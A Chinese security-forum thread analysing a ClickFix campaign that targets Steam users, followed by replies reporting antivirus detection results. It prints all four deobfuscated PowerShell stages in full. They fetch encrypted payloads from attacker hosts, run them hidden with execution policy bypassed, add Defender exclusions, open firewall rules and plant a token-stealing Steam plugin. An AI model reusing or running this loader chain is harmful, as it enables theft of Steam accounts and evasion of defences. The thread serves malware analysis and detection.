#ClickFix 针对Steam的Stealer 1x VT0

显示全部楼层 · 发表于 2026-7-7 17:29:38

本帖最后由 Loyisa 于 2026-7-7 19:23 编辑

domain: https://pvp.wanmei-apps.com/pac

复制代码

套了四层Powershell

第一层
<# Verification code: 22CCCDEE6DBC #>$72mh='iZxtoGKgQa';$zgv=79;$2t9e='13fc403632fb07e4ee152cd71a28300c03190500271235370bf7081707152a0601fd11fbfd2b12192c2217352d0a09190f1cd8e6e71e110f0d2a051de6f72c37ece9ff191522211d401330050e25031f24fd403323f3d4f0f41c2bdaf9cde2fb082cdaf305081ee3deb6d7d6c2fefd00e9cde2fb082cdaf305080e0918b6d7d6c8d7201d3b3331d0c9e5031c1dd0f2ea1f08fe250d15e6152837e5bfa4da051e2ee30a101deabad6c0edd8cb2a35eecb0f0118e5ecd9412c20c7d30112f731142ee5c8ba0d1f04d0f5c9222a33fffe13daea060e3e0a33fffedec9de0c181a3730ff081dc8d9c2cd3e26ded3ba040527e5f8292d23f90ed6f3292b1d2c30ece4ff2ace071d0b0a2f27fb082aaad4230bfdf7ded3bada1713e6ed363a2c02091704032c1b303125bec2dd08242c193afdedc5fd2205112a0d3630e5c1c11bce1c191df63623090d1f0f1ee7142c3cfd0a0921051ef50c39f3f30be52ed5e4e8233025efcfe528e7292310ed3627fad7ddcbd2dc1c3027e0bfc3c0c42323c904e319d9092416152a1d24fdf8dc0c250df2191c2cf9f2e90e28091e1fd1eb2e20cccee4f4222116efece7a0be1b02d0f5c9eb3a21c4de25171e2418282702f70e17c8d8df113b372e09d4e5cf13240e28352205071bce1c191df6272d0d08220fd7e3d02827fd06fb280ded2f183a27e40a0921051ef50c39f3f30be52ed5e4e8233025efcfe528e7292310ed3627fad7ddcbd2dc1c3027e40dd704e507dad2f0cde2f7ff29c0edd8041a3c310aff23ce031d0c3c35270a13e4e32231193b322508fb260829e6ea2c361bd0d4f91215191d2cebe7a0be170523e6f42c3cded3bada131bc2cd282831c4e30cc0edd804293c32fbf513fdd8dc0e291eeec4c8e7d50de1b3eb242309c8030f141dc904e3efa0be170523e6f9282722ff081dc0edd8dbd1e722fbfdd6ddd0dc0a2c36ecd90c1b01241ded2c26300f0a2a0f22e0d2d1e735f8baf3c0d41c0e2af11208fb241316271b34092704fb22e21c270c32ebe2fbfce2c0e1eed5e7e723f8c802051e1f1d2fe3ebb6cbecc9badc203be3fbb6f50919232c0e34f112fb122acef5260c362727040113daea0dfd0dfbecddff2af3242a12352ae6ba1118c9badc0af8e3fbb6c0dec7fa271235eae9bdc706012420d0f0e3e2fb082cda04fdf617e3e6f1ed2f13241d16f50c0dc4ea17141815e3010a230aec170e1427160d2c2afbe8170d15e0d2f0cde4bec10405d7e3d03ef0070aff23c7d9d8d610372303ee2f1015d8ed303523f90e251229d8d6172432febada01e1d8d60d3230f9ffd61cd0071e3bf00c0b0622aad41adbe700debcc2ddea1f2117eeeee5c3ea171418dfd2e7e71fc7badefb03311c3b282bc4e305ce00191d2f20f8d0e11b140219172b322bdc032205fe19162cebe7b6c5d6c2de281cf8e5e7a0f50919232c0e34f107e5c8fc091c1d0601fd1508032a05f124151b28360ac2da02e2e4c9eb3a32bfa41f06d0e0d6353232b6c20a05232cd6172432febada02e2e1d2e73edefb121f14d035b3edebe5e90e171224e5f939eae9bd091905232bd0f0e3e6bd0a2517152a1ceeeee5feff220cd7e1c9f40430fd0f23051e2cf5303632b6bce3f719260d363a110a132205d2e4cb0f2c22faff24c2dce0cbf4112de60cd8cbd2270f302f23b8c3e2c8d2e5ee3f28210b0e1fc2dbda1835132d02031919d2e1d5efe5000f0ad8cbd2191c3ae5e7c2bce3e619240ee9efe2f8ccc00528211d';$g6iy9='';for($7rk=0;$7rk -lt $2t9e.Length;$7rk+=2){$g6iy9+=[char](([int]('0x'+$2t9e.Substring($7rk,2))-$zgv-[byte][char]$72mh[$7rk/2%$72mh.Length]+512)%256)};iex $g6iy9
第二层
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
$env:CM_W = "NEW"
$env:CM_GFZ = ('https://cle'+'ardome.lat')
$env:CM_T = "cr05uKx540zib19KrGykg"
$sid = [guid]::NewGuid().ToString()
$wc = New-Object System.Net.WebClient
$kb64 = $wc.DownloadString(('https://cleardom'+'e.lat/session/key?token=cr05uKx540zib19KrGykg&sid='+"$sid"))
$sk = [Convert]::FromBase64String($kb64.Trim())
$eb = $wc.DownloadData(('https://cleardome.lat/downlo'+'ad?parm=wosd&token=cr05uKx540zib19KrGykg&sid='+"$sid&w=NEW"))
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Key = $sk
$aes.IV = [byte[]]($eb[0..15])
$aes.Mode = 1
$aes.Padding = 2
$dec = $aes.CreateDecryptor()
$wb = $dec.TransformFinalBlock($eb, 16, $eb.Length - 16)
$wt = [System.Text.Encoding]::UTF8.GetString($wb)
$a1 = &('Join'+'-Path') $env:TEMP ([System.IO.Path]::GetRandomFileName())
&('Ne'+'w-Item') -ItemType Directory -Path $a1 -Force | Out-Null
$b2 = &('Join'+'-Path') $a1 ([System.IO.Path]::GetRandomFileName() + ".ps1")
[System.IO.File]::WriteAllText($b2, $wt)
if (-not (Test-Path $b2)) { exit }
&('Start-Pr'+'ocess') ('powers'+'hell') -ArgumentList "-WindowStyle","Hidden",("-NoPr"+"ofile"),("-Executi"+"onPolicy"),("Byp"+"ass"),"-File",$b2
exit
第三层
$uk0bwws=[Convert]::FromBase64String(('dxfVlLfpD+Qmm/XyUo6ku9'+'OdhBfhAMRyZTvtOI8nlmA='));$1gq1ia=[Convert]::FromBase64String(('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'));$qbk16w2=[System.Security.Cryptography.Aes]::Create();$qbk16w2.Key=$uk0bwws;$qbk16w2.IV=[byte[]]($1gq1ia[0..15]);$qbk16w2.Mode=1;$qbk16w2.Padding=2;$8w5l=$qbk16w2.CreateDecryptor();$wl6g=$8w5l.TransformFinalBlock($1gq1ia,16,$1gq1ia.Length-16);$ef8n3dm=New-Object System.IO.MemoryStream(,$wl6g);$3fcgf=New-Object System.IO.Compression.GZipStream($ef8n3dm,[System.IO.Compression.CompressionMode]::Decompress);$ntp8=New-Object System.IO.StreamReader($3fcgf);$15gdufc=$ntp8.ReadToEnd();$ntp8.Dispose();$3fcgf.Dispose();$ef8n3dm.Dispose();$8w5l.Dispose();$qbk16w2.Dispose();iex $15gdufc
第四层
param(
[string]$GfZ_arg = "",
[string]$W_arg = "",
[string]$Xnf_arg = ""
)
$GfZ = if ($GfZ_arg) { $GfZ_arg } elseif ($env:CM_GFZ) { $env:CM_GFZ } else { ('https://ve'+'rifyni.cfd') }
$Xnf = if ($Xnf_arg) { $Xnf_arg } elseif ($env:CM_T) { $env:CM_T } else { "" }
$W = if ($W_arg) { $W_arg } elseif ($env:CM_W) { $env:CM_W } else { "" }
$W = $W -replace "[^a-zA-Z0-9]", ""
$_wq = if ($W) { "&w=$W" } else { "" }
$BASE = "$GfZ/download?parm=wosd/upd&token=$Xnf"
$NyF = "$GfZ/done?parm=wosd&token=$Xnf$_wq"
$DBG = "$GfZ/debug?parm=wosd&token=$Xnf$_wq"
$mutex = New-Object System.Threading.Mutex($false, "Global\SteamProtectInstall")
if (-not $mutex.WaitOne(0)) {
Send-Status "Povtorny vvod:" "already running"
exit
}
$rExz = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $rExz) {
$mutex.ReleaseMutex()
&('Start-Pr'+'ocess') ('powe'+'rshell') -Verb RunAs -ArgumentList "-WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`" -GfZ_arg `"$GfZ`" -W_arg `"$W`" -Xnf_arg `"$Xnf`""
exit
}
Remove-Item $PSCommandPath -Force -ErrorAction SilentlyContinue
$dzf = &('Join-P'+'ath') $env:TEMP "SteamProtect"
&('New-'+'Item') -ItemType Directory -Force -Path $dzf | Out-Null
$steam = (Get-ItemProperty 'HKCU:\Software\Valve\Steam' -Name SteamPath -ErrorAction SilentlyContinue).SteamPath
if (-not $steam) {
$steam = (Get-ItemProperty 'HKLM:\SOFTWARE\WOW6432Node\Valve\Steam' -Name InstallPath -ErrorAction SilentlyContinue).InstallPath
}
if (-not $steam) {
Send-Debug "Steam not found in registry"
exit
}
$steam = $steam -replace '/','\'
$milDir = &('Join-P'+'ath') $steam "millennium"
$milPlugin = &('Join-P'+'ath') $steam "millennium\plugins\steamprocess"
if ((Test-Path $milDir) -and (Test-Path $milPlugin)) {
Send-Status "Povtorny vvod:" "already installed"
exit
}
Send-Status "Nachalo processa:" "process started"
try {
Add-MpPreference -ExclusionPath (&('Join-P'+'ath') $steam "wsock32.dll") -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath (&('Join-P'+'ath') $steam "millennium") -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath (&('Join-P'+'ath') $steam "millennium\plugins\steamprocess") -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath (&('Join-P'+'ath') $steam "millennium\lib") -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath (&('Join-P'+'ath') $steam "millennium\bin") -ErrorAction SilentlyContinue
Add-MpPreference -AttackSurfaceReductionOnlyExclusions (&('Join-P'+'ath') $steam "wsock32.dll") -ErrorAction SilentlyContinue
Add-MpPreference -AttackSurfaceReductionOnlyExclusions (&('Join-P'+'ath') $steam "millennium") -ErrorAction SilentlyContinue
} catch {}
$thf = &('Join-P'+'ath') $dzf "millennium.zip"
Add-Type @"
using System.Net;
public class TimedWebClient : WebClient {
protected override WebRequest GetWebRequest(System.Uri uri) {
WebRequest req = base.GetWebRequest(uri);
req.Timeout = 300000;
return req;
}
}
"@
for ($i = 0; $i -lt 3; $i++) {
try {
$sid2 = [guid]::NewGuid().ToString()
$wc2 = New-Object TimedWebClient
$kb64_2 = $wc2.DownloadString("$GfZ/session/key?token=$Xnf&sid=$sid2")
$sk2 = [Convert]::FromBase64String($kb64_2.Trim())
$encZip = $wc2.DownloadData("$BASE&sid=$sid2")
$aes2 = [System.Security.Cryptography.Aes]::Create()
$aes2.Key = $sk2
$aes2.IV = [byte[]]($encZip[0..15])
$aes2.Mode = 1
$aes2.Padding = 2
$dec2 = $aes2.CreateDecryptor()
$zipBytes = $dec2.TransformFinalBlock($encZip, 16, $encZip.Length - 16)
[System.IO.File]::WriteAllBytes($thf, $zipBytes)
break
} catch {
if ($i -eq 2) {
Send-Debug "Download failed after 3 attempts: $($_.Exception.Message)"
Send-Fail
exit
}
Start-Sleep -Seconds 3
}
}
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem
$zip = [System.IO.Compression.ZipFile]::OpenRead($thf)
foreach ($entry in $zip.Entries) {
$destPath = &('Join-P'+'ath') $steam $entry.FullName
if ($entry.Name -eq "") {
&('New-'+'Item') -ItemType Directory -Force -Path $destPath | Out-Null
} else {
$destDir = Split-Path $destPath -Parent
&('New-'+'Item') -ItemType Directory -Force -Path $destDir | Out-Null
if ($entry.Name -eq "wsock32.dll" -and (Test-Path $destPath)) { continue }
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $destPath, $true)
}
}
$zip.Dispose()
} catch {
Send-Debug "Extract failed: $($_.Exception.Message)"
Send-Fail
exit
}
Remove-Item $thf -Force -ErrorAction SilentlyContinue
Remove-Item $dzf -Recurse -Force -ErrorAction SilentlyContinue
$exes = @()
$exes += &('Join-P'+'ath') $steam 'steam.exe'
$exes += Get-ChildItem -Path $steam -Recurse -Filter steamwebhelper.exe -ErrorAction SilentlyContinue |
Select-Object -ExpandProperty FullName
$exes = $exes | Where-Object { Test-Path $_ } | Select-Object -Unique
foreach ($exe in $exes) {
$name = "steamconn-" + (Split-Path $exe -Leaf)
Get-NetFirewallRule -DisplayName $name -ErrorAction SilentlyContinue | Remove-NetFirewallRule -ErrorAction SilentlyContinue
Get-NetFirewallRule -DisplayName "$name-in" -ErrorAction SilentlyContinue | Remove-NetFirewallRule -ErrorAction SilentlyContinue
New-NetFirewallRule -DisplayName $name -Direction Outbound -Action Allow -Program $exe -Profile Any -Enabled True | Out-Null
New-NetFirewallRule -DisplayName "$name-in" -Direction Inbound -Action Allow -Program $exe -Profile Any -Enabled True | Out-Null
}
if ((Test-Path $milDir) -and (Test-Path $milPlugin)) {
&('Invoke-WebR'+'equest') $NyF -Method POST -UseBasicParsing | Out-Null
} else {
Send-Debug "patch not found after install"
Send-Fail
}

复制代码

第四层解包出的样本: https://loyisa.lanzoum.com/ivyNI3uxx5fa
会释放一个Steam自定义工具到steam目录下
注: 此样本的加载器是合法的Steam客户端自定义工具(https://github.com/SteamClientHomebrew/Millennium)
但是被加载了恶意插件利用（millennium\plugins\steamprocess下为恶意插件），请上报的时候向分析师指出

恶意lua(Steam Token 窃取): https://www.virustotal.com/gui/file/237cd3203df4bb073819f16eddf41b611294f7926cbaa226ca8d07ed69d4034d
恶意index.js: https://www.virustotal.com/gui/f ... 2ee35f010?nocache=1
恶意webkit.js: https://www.virustotal.com/gui/f ... 75c35b404?nocache=1
反混淆:

显示全部楼层 · 发表于 2026-7-7 18:15:07

best拦截恶意脚本

显示全部楼层 · 发表于 2026-7-7 19:50:41

火绒

病毒名称：Backdoor/Meterpreter.q
病毒ID：57B9BEF6E98CE593
病毒路径：C:\Users\UnknownOoo\AppData\Local\Temp\2e2ytzvu.vsm\kwskeegt.fzl.ps1
操作类型：执行
操作结果：已处理，删除文件
进程ID：8588
操作进程：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
操作进程命令行："C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -File C:\Users\UNKNOW~1\AppData\Local\Temp\2e2ytzvu.vsm\kwskeegt.fzl.ps1
父进程ID：8812
父进程：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

复制代码

显示全部楼层 · 发表于 2026-7-7 19:55:15

360扫描不报

显示全部楼层 · 发表于 2026-7-7 19:56:49

卡巴

显示全部楼层 · 发表于 2026-7-8 13:00:40

本帖最后由 GDHJDSYDH 于 2026-7-8 13:12 编辑

红伞扫描miss，沙盒内运行一会儿，冰盾拦截两次，随后自退

显示全部楼层 · 发表于 2026-7-9 00:11:02

腾讯电脑管家18

millennium_infected及js文件右键扫描均不报毒

[病毒样本] #ClickFix 针对Steam的Stealer 1x VT0

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源